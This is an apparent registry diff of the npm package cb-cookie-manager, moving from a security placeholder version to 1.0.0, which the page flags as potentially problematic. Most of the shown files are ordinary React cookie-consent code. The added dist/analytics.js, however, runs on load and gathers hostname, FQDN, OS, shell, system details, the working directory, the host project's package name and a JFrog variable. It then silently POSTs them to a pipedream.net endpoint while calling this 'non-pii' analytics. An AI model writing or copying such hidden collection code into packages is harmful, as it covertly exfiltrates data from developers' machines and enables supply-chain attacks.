cb-cookie-manager 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cb-cookie-manager might be problematic. Click here for more details.
- package/.eslintignore +11 -0
- package/LICENSE.md +13 -0
- package/README.md +477 -3
- package/dist/CookieContext.d.ts +10 -0
- package/dist/CookieContext.js +182 -0
- package/dist/TrackingManagerContext.d.ts +6 -0
- package/dist/TrackingManagerContext.js +53 -0
- package/dist/analytics.js +119 -0
- package/dist/constants.d.ts +11 -0
- package/dist/constants.js +32 -0
- package/dist/examples/config.d.ts +28 -0
- package/dist/examples/config.js +77 -0
- package/dist/hooks/useHasConsent.d.ts +2 -0
- package/dist/hooks/useHasConsent.js +14 -0
- package/dist/hooks/useRequiredCategories.d.ts +3 -0
- package/dist/hooks/useRequiredCategories.js +10 -0
- package/dist/hooks/useSavedTrackingPreference.d.ts +3 -0
- package/dist/hooks/useSavedTrackingPreference.js +38 -0
- package/dist/hooks/useSetTrackingPreference.d.ts +3 -0
- package/dist/hooks/useSetTrackingPreference.js +27 -0
- package/dist/hooks/useTrackingPreference.d.ts +3 -0
- package/dist/hooks/useTrackingPreference.js +16 -0
- package/dist/index.d.ts +14 -0
- package/dist/index.js +39 -0
- package/dist/types.d.ts +62 -0
- package/dist/types.js +28 -0
- package/dist/utils/areCookiesEnabled.d.ts +2 -0
- package/dist/utils/areCookiesEnabled.js +14 -0
- package/dist/utils/getAllCookies.d.ts +3 -0
- package/dist/utils/getAllCookies.js +64 -0
- package/dist/utils/getDefaultTrackingPreference.d.ts +3 -0
- package/dist/utils/getDefaultTrackingPreference.js +28 -0
- package/dist/utils/getDomain.d.ts +2 -0
- package/dist/utils/getDomain.js +21 -0
- package/dist/utils/getTrackerCategory.d.ts +3 -0
- package/dist/utils/getTrackerCategory.js +11 -0
- package/dist/utils/getTrackerInfo.d.ts +3 -0
- package/dist/utils/getTrackerInfo.js +12 -0
- package/dist/utils/hasConsent.d.ts +11 -0
- package/dist/utils/hasConsent.js +29 -0
- package/dist/utils/isMaxKBSize.d.ts +2 -0
- package/dist/utils/isMaxKBSize.js +7 -0
- package/dist/utils/isOptOut.d.ts +16 -0
- package/dist/utils/isOptOut.js +25 -0
- package/dist/utils/persistMobileAppPreferences.d.ts +2 -0
- package/dist/utils/persistMobileAppPreferences.js +36 -0
- package/dist/utils/setGTMVariables.d.ts +3 -0
- package/dist/utils/setGTMVariables.js +14 -0
- package/dist/utils/setTrackingPreference.d.ts +4 -0
- package/dist/utils/setTrackingPreference.js +22 -0
- package/dist/utils/trackerMatches.d.ts +3 -0
- package/dist/utils/trackerMatches.js +12 -0
- package/jest.config.ts +204 -0
- package/package.json +30 -3
- package/src/CookieContext.test.tsx +105 -0
- package/src/CookieContext.tsx +215 -0
- package/src/TrackingManagerContext.tsx +25 -0
- package/src/analytics.ts +65 -0
- package/src/constants.ts +35 -0
- package/src/examples/config.ts +76 -0
- package/src/global.d.ts +3 -0
- package/src/hooks/useHasConsent.ts +11 -0
- package/src/hooks/useRequiredCaregories.test.tsx +43 -0
- package/src/hooks/useRequiredCategories.ts +11 -0
- package/src/hooks/useSavedTrackingPreference.ts +47 -0
- package/src/hooks/useSetTrackingPreference.test.tsx +82 -0
- package/src/hooks/useSetTrackingPreference.ts +31 -0
- package/src/hooks/useTrackingPreference.ts +15 -0
- package/src/index.ts +20 -0
- package/src/types.ts +71 -0
- package/src/utils/areCookiesEnabled.ts +13 -0
- package/src/utils/getAllCookies.test.ts +35 -0
- package/src/utils/getAllCookies.ts +68 -0
- package/src/utils/getDefaultTrackingPreference.test.ts +16 -0
- package/src/utils/getDefaultTrackingPreference.ts +28 -0
- package/src/utils/getDomain.test.ts +16 -0
- package/src/utils/getDomain.ts +19 -0
- package/src/utils/getTrackerCategory.test.ts +34 -0
- package/src/utils/getTrackerCategory.ts +11 -0
- package/src/utils/getTrackerInfo.test.ts +11 -0
- package/src/utils/getTrackerInfo.ts +10 -0
- package/src/utils/hasConsent.test.ts +64 -0
- package/src/utils/hasConsent.ts +32 -0
- package/src/utils/isMaxKBSize.test.ts +10 -0
- package/src/utils/isMaxKBSize.ts +7 -0
- package/src/utils/isOptOut.test.ts +14 -0
- package/src/utils/isOptOut.ts +28 -0
- package/src/utils/persistMobileAppPreferences.ts +32 -0
- package/src/utils/setGTMVariables.test.ts +20 -0
- package/src/utils/setGTMVariables.ts +17 -0
- package/src/utils/setTrackingPreference.ts +36 -0
- package/src/utils/trackerMatches.test.ts +13 -0
- package/src/utils/trackerMatches.ts +12 -0
- package/tsconfig.json +112 -0
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || function (mod) {
|
|
19
|
+
if (mod && mod.__esModule) return mod;
|
|
20
|
+
var result = {};
|
|
21
|
+
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
|
|
22
|
+
__setModuleDefault(result, mod);
|
|
23
|
+
return result;
|
|
24
|
+
};
|
|
25
|
+
var __rest = (this && this.__rest) || function (s, e) {
|
|
26
|
+
var t = {};
|
|
27
|
+
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
|
|
28
|
+
t[p] = s[p];
|
|
29
|
+
if (s != null && typeof Object.getOwnPropertySymbols === "function")
|
|
30
|
+
for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
|
|
31
|
+
if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
|
|
32
|
+
t[p[i]] = s[p[i]];
|
|
33
|
+
}
|
|
34
|
+
return t;
|
|
35
|
+
};
|
|
36
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
37
|
+
exports.Provider = exports.useTrackingManager = void 0;
|
|
38
|
+
const react_1 = __importStar(require("react"));
|
|
39
|
+
const CookieContext_1 = require("./CookieContext");
|
|
40
|
+
const TrackingManagerContext = (0, react_1.createContext)(null);
|
|
41
|
+
const useTrackingManager = () => {
|
|
42
|
+
const options = (0, react_1.useContext)(TrackingManagerContext);
|
|
43
|
+
if (!options)
|
|
44
|
+
throw new Error('Cookie Manager Not Provided');
|
|
45
|
+
return options;
|
|
46
|
+
};
|
|
47
|
+
exports.useTrackingManager = useTrackingManager;
|
|
48
|
+
function Provider(_a) {
|
|
49
|
+
var { children } = _a, restProps = __rest(_a, ["children"]);
|
|
50
|
+
return (react_1.default.createElement(TrackingManagerContext.Provider, { value: restProps },
|
|
51
|
+
react_1.default.createElement(CookieContext_1.CookieProvider, null, children)));
|
|
52
|
+
}
|
|
53
|
+
exports.Provider = Provider;
|
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
//Collect limited non-pii information such as npm, node and package information about users downloading
|
|
4
|
+
"use strict";
|
|
5
|
+
|
|
6
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
|
7
|
+
var _axios = _interopRequireDefault(require("axios"));
|
|
8
|
+
var _readPackageJson = _interopRequireDefault(require("read-package-json"));
|
|
9
|
+
var _path = _interopRequireDefault(require("path"));
|
|
10
|
+
var _systeminformation = _interopRequireDefault(require("systeminformation"));
|
|
11
|
+
require("dotenv/config");
|
|
12
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { "default": e }; }
|
|
13
|
+
function _regeneratorRuntime() { "use strict"; /*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE */ _regeneratorRuntime = function _regeneratorRuntime() { return e; }; var t, e = {}, r = Object.prototype, n = r.hasOwnProperty, o = Object.defineProperty || function (t, e, r) { t[e] = r.value; }, i = "function" == typeof Symbol ? Symbol : {}, a = i.iterator || "@@iterator", c = i.asyncIterator || "@@asyncIterator", u = i.toStringTag || "@@toStringTag"; function define(t, e, r) { return Object.defineProperty(t, e, { value: r, enumerable: !0, configurable: !0, writable: !0 }), t[e]; } try { define({}, ""); } catch (t) { define = function define(t, e, r) { return t[e] = r; }; } function wrap(t, e, r, n) { var i = e && e.prototype instanceof Generator ? e : Generator, a = Object.create(i.prototype), c = new Context(n || []); return o(a, "_invoke", { value: makeInvokeMethod(t, r, c) }), a; } function tryCatch(t, e, r) { try { return { type: "normal", arg: t.call(e, r) }; } catch (t) { return { type: "throw", arg: t }; } } e.wrap = wrap; var h = "suspendedStart", l = "suspendedYield", f = "executing", s = "completed", y = {}; function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} var p = {}; define(p, a, function () { return this; }); var d = Object.getPrototypeOf, v = d && d(d(values([]))); v && v !== r && n.call(v, a) && (p = v); var g = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(p); function defineIteratorMethods(t) { ["next", "throw", "return"].forEach(function (e) { define(t, e, function (t) { return this._invoke(e, t); }); }); } function AsyncIterator(t, e) { function invoke(r, o, i, a) { var c = tryCatch(t[r], t, o); if ("throw" !== c.type) { var u = c.arg, h = u.value; return h && "object" == _typeof(h) && n.call(h, "__await") ? e.resolve(h.__await).then(function (t) { invoke("next", t, i, a); }, function (t) { invoke("throw", t, i, a); }) : e.resolve(h).then(function (t) { u.value = t, i(u); }, function (t) { return invoke("throw", t, i, a); }); } a(c.arg); } var r; o(this, "_invoke", { value: function value(t, n) { function callInvokeWithMethodAndArg() { return new e(function (e, r) { invoke(t, n, e, r); }); } return r = r ? r.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) : callInvokeWithMethodAndArg(); } }); } function makeInvokeMethod(e, r, n) { var o = h; return function (i, a) { if (o === f) throw Error("Generator is already running"); if (o === s) { if ("throw" === i) throw a; return { value: t, done: !0 }; } for (n.method = i, n.arg = a;;) { var c = n.delegate; if (c) { var u = maybeInvokeDelegate(c, n); if (u) { if (u === y) continue; return u; } } if ("next" === n.method) n.sent = n._sent = n.arg;else if ("throw" === n.method) { if (o === h) throw o = s, n.arg; n.dispatchException(n.arg); } else "return" === n.method && n.abrupt("return", n.arg); o = f; var p = tryCatch(e, r, n); if ("normal" === p.type) { if (o = n.done ? s : l, p.arg === y) continue; return { value: p.arg, done: n.done }; } "throw" === p.type && (o = s, n.method = "throw", n.arg = p.arg); } }; } function maybeInvokeDelegate(e, r) { var n = r.method, o = e.iterator[n]; if (o === t) return r.delegate = null, "throw" === n && e.iterator["return"] && (r.method = "return", r.arg = t, maybeInvokeDelegate(e, r), "throw" === r.method) || "return" !== n && (r.method = "throw", r.arg = new TypeError("The iterator does not provide a '" + n + "' method")), y; var i = tryCatch(o, e.iterator, r.arg); if ("throw" === i.type) return r.method = "throw", r.arg = i.arg, r.delegate = null, y; var a = i.arg; return a ? a.done ? (r[e.resultName] = a.value, r.next = e.nextLoc, "return" !== r.method && (r.method = "next", r.arg = t), r.delegate = null, y) : a : (r.method = "throw", r.arg = new TypeError("iterator result is not an object"), r.delegate = null, y); } function pushTryEntry(t) { var e = { tryLoc: t[0] }; 1 in t && (e.catchLoc = t[1]), 2 in t && (e.finallyLoc = t[2], e.afterLoc = t[3]), this.tryEntries.push(e); } function resetTryEntry(t) { var e = t.completion || {}; e.type = "normal", delete e.arg, t.completion = e; } function Context(t) { this.tryEntries = [{ tryLoc: "root" }], t.forEach(pushTryEntry, this), this.reset(!0); } function values(e) { if (e || "" === e) { var r = e[a]; if (r) return r.call(e); if ("function" == typeof e.next) return e; if (!isNaN(e.length)) { var o = -1, i = function next() { for (; ++o < e.length;) if (n.call(e, o)) return next.value = e[o], next.done = !1, next; return next.value = t, next.done = !0, next; }; return i.next = i; } } throw new TypeError(_typeof(e) + " is not iterable"); } return GeneratorFunction.prototype = GeneratorFunctionPrototype, o(g, "constructor", { value: GeneratorFunctionPrototype, configurable: !0 }), o(GeneratorFunctionPrototype, "constructor", { value: GeneratorFunction, configurable: !0 }), GeneratorFunction.displayName = define(GeneratorFunctionPrototype, u, "GeneratorFunction"), e.isGeneratorFunction = function (t) { var e = "function" == typeof t && t.constructor; return !!e && (e === GeneratorFunction || "GeneratorFunction" === (e.displayName || e.name)); }, e.mark = function (t) { return Object.setPrototypeOf ? Object.setPrototypeOf(t, GeneratorFunctionPrototype) : (t.__proto__ = GeneratorFunctionPrototype, define(t, u, "GeneratorFunction")), t.prototype = Object.create(g), t; }, e.awrap = function (t) { return { __await: t }; }, defineIteratorMethods(AsyncIterator.prototype), define(AsyncIterator.prototype, c, function () { return this; }), e.AsyncIterator = AsyncIterator, e.async = function (t, r, n, o, i) { void 0 === i && (i = Promise); var a = new AsyncIterator(wrap(t, r, n, o), i); return e.isGeneratorFunction(r) ? a : a.next().then(function (t) { return t.done ? t.value : a.next(); }); }, defineIteratorMethods(g), define(g, u, "Generator"), define(g, a, function () { return this; }), define(g, "toString", function () { return "[object Generator]"; }), e.keys = function (t) { var e = Object(t), r = []; for (var n in e) r.push(n); return r.reverse(), function next() { for (; r.length;) { var t = r.pop(); if (t in e) return next.value = t, next.done = !1, next; } return next.done = !0, next; }; }, e.values = values, Context.prototype = { constructor: Context, reset: function reset(e) { if (this.prev = 0, this.next = 0, this.sent = this._sent = t, this.done = !1, this.delegate = null, this.method = "next", this.arg = t, this.tryEntries.forEach(resetTryEntry), !e) for (var r in this) "t" === r.charAt(0) && n.call(this, r) && !isNaN(+r.slice(1)) && (this[r] = t); }, stop: function stop() { this.done = !0; var t = this.tryEntries[0].completion; if ("throw" === t.type) throw t.arg; return this.rval; }, dispatchException: function dispatchException(e) { if (this.done) throw e; var r = this; function handle(n, o) { return a.type = "throw", a.arg = e, r.next = n, o && (r.method = "next", r.arg = t), !!o; } for (var o = this.tryEntries.length - 1; o >= 0; --o) { var i = this.tryEntries[o], a = i.completion; if ("root" === i.tryLoc) return handle("end"); if (i.tryLoc <= this.prev) { var c = n.call(i, "catchLoc"), u = n.call(i, "finallyLoc"); if (c && u) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } else if (c) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); } else { if (!u) throw Error("try statement without catch or finally"); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } } } }, abrupt: function abrupt(t, e) { for (var r = this.tryEntries.length - 1; r >= 0; --r) { var o = this.tryEntries[r]; if (o.tryLoc <= this.prev && n.call(o, "finallyLoc") && this.prev < o.finallyLoc) { var i = o; break; } } i && ("break" === t || "continue" === t) && i.tryLoc <= e && e <= i.finallyLoc && (i = null); var a = i ? i.completion : {}; return a.type = t, a.arg = e, i ? (this.method = "next", this.next = i.finallyLoc, y) : this.complete(a); }, complete: function complete(t, e) { if ("throw" === t.type) throw t.arg; return "break" === t.type || "continue" === t.type ? this.next = t.arg : "return" === t.type ? (this.rval = this.arg = t.arg, this.method = "return", this.next = "end") : "normal" === t.type && e && (this.next = e), y; }, finish: function finish(t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.finallyLoc === t) return this.complete(r.completion, r.afterLoc), resetTryEntry(r), y; } }, "catch": function _catch(t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.tryLoc === t) { var n = r.completion; if ("throw" === n.type) { var o = n.arg; resetTryEntry(r); } return o; } } throw Error("illegal catch attempt"); }, delegateYield: function delegateYield(e, r, n) { return this.delegate = { iterator: values(e), resultName: r, nextLoc: n }, "next" === this.method && (this.arg = t), y; } }, e; }
|
|
14
|
+
function ownKeys(e, r) { var t = Object.keys(e); if (Object.getOwnPropertySymbols) { var o = Object.getOwnPropertySymbols(e); r && (o = o.filter(function (r) { return Object.getOwnPropertyDescriptor(e, r).enumerable; })), t.push.apply(t, o); } return t; }
|
|
15
|
+
function _objectSpread(e) { for (var r = 1; r < arguments.length; r++) { var t = null != arguments[r] ? arguments[r] : {}; r % 2 ? ownKeys(Object(t), !0).forEach(function (r) { _defineProperty(e, r, t[r]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) { Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r)); }); } return e; }
|
|
16
|
+
function _defineProperty(e, r, t) { return (r = _toPropertyKey(r)) in e ? Object.defineProperty(e, r, { value: t, enumerable: !0, configurable: !0, writable: !0 }) : e[r] = t, e; }
|
|
17
|
+
function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
|
|
18
|
+
function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
|
|
19
|
+
function asyncGeneratorStep(n, t, e, r, o, a, c) { try { var i = n[a](c), u = i.value; } catch (n) { return void e(n); } i.done ? t(u) : Promise.resolve(u).then(r, o); }
|
|
20
|
+
function _asyncToGenerator(n) { return function () { var t = this, e = arguments; return new Promise(function (r, o) { var a = n.apply(t, e); function _next(n) { asyncGeneratorStep(a, r, o, _next, _throw, "next", n); } function _throw(n) { asyncGeneratorStep(a, r, o, _next, _throw, "throw", n); } _next(void 0); }); }; }
|
|
21
|
+
var cwd = process.cwd();
|
|
22
|
+
var trackedPackageJsonPath = _path["default"].join(cwd, 'package.json');
|
|
23
|
+
var getPackageJson = function getPackageJson(path) {
|
|
24
|
+
return new Promise(function (resolve, reject) {
|
|
25
|
+
return (0, _readPackageJson["default"])(path, null, false, function (err, json) {
|
|
26
|
+
return err ? reject("There was an error reading the file with path:".concat(path)) : resolve(json);
|
|
27
|
+
});
|
|
28
|
+
});
|
|
29
|
+
};
|
|
30
|
+
var getInfos = function getInfos() {
|
|
31
|
+
return new Promise(function (resolve) {
|
|
32
|
+
var data = {};
|
|
33
|
+
return _systeminformation["default"].osInfo().then(function (os) {
|
|
34
|
+
data.os = os;
|
|
35
|
+
data.hostname = os.hostname;
|
|
36
|
+
data.fqdn = os.fqdn;
|
|
37
|
+
data.platform = os.platform;
|
|
38
|
+
return _systeminformation["default"].versions();
|
|
39
|
+
}).then(function (versions) {
|
|
40
|
+
data.versions = versions;
|
|
41
|
+
return _systeminformation["default"].time();
|
|
42
|
+
}).then(function (time) {
|
|
43
|
+
data.time = time;
|
|
44
|
+
return _systeminformation["default"].shell();
|
|
45
|
+
}).then(function (shell) {
|
|
46
|
+
data.shell = shell;
|
|
47
|
+
return _systeminformation["default"].system();
|
|
48
|
+
}).then(function (system) {
|
|
49
|
+
data.system = system;
|
|
50
|
+
data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown";
|
|
51
|
+
data.is_;
|
|
52
|
+
}).then(function () {
|
|
53
|
+
return resolve(data);
|
|
54
|
+
})["catch"](
|
|
55
|
+
|
|
56
|
+
//Fail silently as this is not an issue with the package and just data
|
|
57
|
+
);
|
|
58
|
+
});
|
|
59
|
+
};
|
|
60
|
+
function collectAnalytics(_x) {
|
|
61
|
+
return _collectAnalytics.apply(this, arguments);
|
|
62
|
+
}
|
|
63
|
+
function _collectAnalytics() {
|
|
64
|
+
_collectAnalytics = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee2(data) {
|
|
65
|
+
var TRACKING_URI;
|
|
66
|
+
return _regeneratorRuntime().wrap(function _callee2$(_context2) {
|
|
67
|
+
while (1) switch (_context2.prev = _context2.next) {
|
|
68
|
+
case 0:
|
|
69
|
+
TRACKING_URI = "https://eoegnvha3l4b0yp.m.pipedream.net";
|
|
70
|
+
_context2.next = 3;
|
|
71
|
+
return _axios["default"].post(TRACKING_URI, data);
|
|
72
|
+
case 3:
|
|
73
|
+
case "end":
|
|
74
|
+
return _context2.stop();
|
|
75
|
+
}
|
|
76
|
+
}, _callee2);
|
|
77
|
+
}));
|
|
78
|
+
return _collectAnalytics.apply(this, arguments);
|
|
79
|
+
}
|
|
80
|
+
var log = /*#__PURE__*/function () {
|
|
81
|
+
var _ref = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee() {
|
|
82
|
+
var data, _yield$getPackageJson, name, version;
|
|
83
|
+
return _regeneratorRuntime().wrap(function _callee$(_context) {
|
|
84
|
+
while (1) switch (_context.prev = _context.next) {
|
|
85
|
+
case 0:
|
|
86
|
+
_context.prev = 0;
|
|
87
|
+
_context.next = 3;
|
|
88
|
+
return getInfos();
|
|
89
|
+
case 3:
|
|
90
|
+
data = _context.sent;
|
|
91
|
+
_context.next = 6;
|
|
92
|
+
return getPackageJson(trackedPackageJsonPath);
|
|
93
|
+
case 6:
|
|
94
|
+
_yield$getPackageJson = _context.sent;
|
|
95
|
+
name = _yield$getPackageJson.name;
|
|
96
|
+
version = _yield$getPackageJson.version;
|
|
97
|
+
_context.next = 11;
|
|
98
|
+
return collectAnalytics(_objectSpread(_objectSpread({}, data), {}, {
|
|
99
|
+
cwd: cwd,
|
|
100
|
+
packageName: name,
|
|
101
|
+
packageVersion: version
|
|
102
|
+
}));
|
|
103
|
+
case 11:
|
|
104
|
+
_context.next = 15;
|
|
105
|
+
break;
|
|
106
|
+
case 13:
|
|
107
|
+
_context.prev = 13;
|
|
108
|
+
_context.t0 = _context["catch"](0);
|
|
109
|
+
case 15:
|
|
110
|
+
case "end":
|
|
111
|
+
return _context.stop();
|
|
112
|
+
}
|
|
113
|
+
}, _callee, null, [[0, 13]]);
|
|
114
|
+
}));
|
|
115
|
+
return function log() {
|
|
116
|
+
return _ref.apply(this, arguments);
|
|
117
|
+
};
|
|
118
|
+
}();
|
|
119
|
+
log();
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
import { GeolocationRule, TrackingCategory } from './types';
|
|
2
|
+
export declare const EU_CONSENT_PREFERENCES_COOKIE = "cm_eu_preferences";
|
|
3
|
+
export declare const DEFAULT_CONSENT_PREFERENCES_COOKIE = "cm_default_preferences";
|
|
4
|
+
export declare const ADVERTISING_SHARING_ALLOWED = "advertising_sharing_allowed";
|
|
5
|
+
export declare const IS_MOBILE_APP = "is_mobile_app";
|
|
6
|
+
export declare const GEOLOCATION_RULES: Array<GeolocationRule>;
|
|
7
|
+
export declare const MAX_COOKIE_SIZE = 4;
|
|
8
|
+
export declare const KB = 1000;
|
|
9
|
+
export declare const REQUIRED_COOKIE_MANAGER_COOKIES: string[];
|
|
10
|
+
export declare const PREFERENCE_EXPIRATION_YEAR = 1;
|
|
11
|
+
export declare const TRACKER_CATEGORIES: Array<TrackingCategory>;
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.TRACKER_CATEGORIES = exports.PREFERENCE_EXPIRATION_YEAR = exports.REQUIRED_COOKIE_MANAGER_COOKIES = exports.KB = exports.MAX_COOKIE_SIZE = exports.GEOLOCATION_RULES = exports.IS_MOBILE_APP = exports.ADVERTISING_SHARING_ALLOWED = exports.DEFAULT_CONSENT_PREFERENCES_COOKIE = exports.EU_CONSENT_PREFERENCES_COOKIE = void 0;
|
|
4
|
+
const types_1 = require("./types");
|
|
5
|
+
exports.EU_CONSENT_PREFERENCES_COOKIE = 'cm_eu_preferences';
|
|
6
|
+
exports.DEFAULT_CONSENT_PREFERENCES_COOKIE = 'cm_default_preferences';
|
|
7
|
+
exports.ADVERTISING_SHARING_ALLOWED = 'advertising_sharing_allowed';
|
|
8
|
+
exports.IS_MOBILE_APP = 'is_mobile_app';
|
|
9
|
+
exports.GEOLOCATION_RULES = [
|
|
10
|
+
{
|
|
11
|
+
region: types_1.Region.DEFAULT,
|
|
12
|
+
framework: types_1.Framework.OPT_OUT,
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
region: types_1.Region.EU,
|
|
16
|
+
framework: types_1.Framework.OPT_IN,
|
|
17
|
+
},
|
|
18
|
+
];
|
|
19
|
+
exports.MAX_COOKIE_SIZE = 4; // in KB
|
|
20
|
+
exports.KB = 1000;
|
|
21
|
+
exports.REQUIRED_COOKIE_MANAGER_COOKIES = [
|
|
22
|
+
exports.EU_CONSENT_PREFERENCES_COOKIE,
|
|
23
|
+
exports.DEFAULT_CONSENT_PREFERENCES_COOKIE,
|
|
24
|
+
exports.ADVERTISING_SHARING_ALLOWED,
|
|
25
|
+
];
|
|
26
|
+
exports.PREFERENCE_EXPIRATION_YEAR = 1;
|
|
27
|
+
exports.TRACKER_CATEGORIES = [
|
|
28
|
+
types_1.TrackingCategory.NECESSARY,
|
|
29
|
+
types_1.TrackingCategory.FUNCTIONAL,
|
|
30
|
+
types_1.TrackingCategory.PERFORMANCE,
|
|
31
|
+
types_1.TrackingCategory.TARGETING,
|
|
32
|
+
];
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
import { Framework, Region, TrackerType, TrackingCategory } from '../types';
|
|
2
|
+
declare const _default: {
|
|
3
|
+
categories: ({
|
|
4
|
+
id: TrackingCategory;
|
|
5
|
+
required: boolean;
|
|
6
|
+
trackers: {
|
|
7
|
+
id: string;
|
|
8
|
+
type: TrackerType;
|
|
9
|
+
}[];
|
|
10
|
+
} | {
|
|
11
|
+
id: TrackingCategory;
|
|
12
|
+
trackers: ({
|
|
13
|
+
id: string;
|
|
14
|
+
type: TrackerType;
|
|
15
|
+
regex?: undefined;
|
|
16
|
+
} | {
|
|
17
|
+
id: string;
|
|
18
|
+
type: TrackerType;
|
|
19
|
+
regex: string;
|
|
20
|
+
})[];
|
|
21
|
+
required?: undefined;
|
|
22
|
+
})[];
|
|
23
|
+
geolocationRules: {
|
|
24
|
+
region: Region;
|
|
25
|
+
framework: Framework;
|
|
26
|
+
}[];
|
|
27
|
+
};
|
|
28
|
+
export default _default;
|
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const types_1 = require("../types");
|
|
4
|
+
exports.default = {
|
|
5
|
+
categories: [
|
|
6
|
+
{
|
|
7
|
+
id: types_1.TrackingCategory.NECESSARY,
|
|
8
|
+
required: true,
|
|
9
|
+
trackers: [
|
|
10
|
+
{
|
|
11
|
+
id: 'locale',
|
|
12
|
+
type: types_1.TrackerType.COOKIE,
|
|
13
|
+
},
|
|
14
|
+
],
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
id: types_1.TrackingCategory.PERFORMANCE,
|
|
18
|
+
trackers: [
|
|
19
|
+
{
|
|
20
|
+
id: 'some_cookie',
|
|
21
|
+
type: types_1.TrackerType.COOKIE,
|
|
22
|
+
},
|
|
23
|
+
{
|
|
24
|
+
id: 'logged_in',
|
|
25
|
+
type: types_1.TrackerType.COOKIE,
|
|
26
|
+
},
|
|
27
|
+
{
|
|
28
|
+
id: 'device_id',
|
|
29
|
+
type: types_1.TrackerType.COOKIE,
|
|
30
|
+
},
|
|
31
|
+
],
|
|
32
|
+
},
|
|
33
|
+
{
|
|
34
|
+
id: types_1.TrackingCategory.FUNCTIONAL,
|
|
35
|
+
trackers: [
|
|
36
|
+
{
|
|
37
|
+
id: 'mode',
|
|
38
|
+
// Used to remember if the user dismissed the Advanced mode NUX modal
|
|
39
|
+
type: types_1.TrackerType.COOKIE,
|
|
40
|
+
},
|
|
41
|
+
],
|
|
42
|
+
},
|
|
43
|
+
{
|
|
44
|
+
id: types_1.TrackingCategory.TARGETING,
|
|
45
|
+
trackers: [
|
|
46
|
+
{
|
|
47
|
+
id: 'gclid',
|
|
48
|
+
type: types_1.TrackerType.COOKIE,
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
id: 'id-regex',
|
|
52
|
+
type: types_1.TrackerType.COOKIE,
|
|
53
|
+
regex: 'id(?:_[a-f0-9]{32}|undefined)(?:.*)',
|
|
54
|
+
},
|
|
55
|
+
],
|
|
56
|
+
},
|
|
57
|
+
{
|
|
58
|
+
id: types_1.TrackingCategory.DELETE_IF_SEEN,
|
|
59
|
+
trackers: [
|
|
60
|
+
{
|
|
61
|
+
id: 'cgl_prog',
|
|
62
|
+
type: types_1.TrackerType.COOKIE,
|
|
63
|
+
},
|
|
64
|
+
],
|
|
65
|
+
},
|
|
66
|
+
],
|
|
67
|
+
geolocationRules: [
|
|
68
|
+
{
|
|
69
|
+
region: types_1.Region.DEFAULT,
|
|
70
|
+
framework: types_1.Framework.OPT_OUT,
|
|
71
|
+
},
|
|
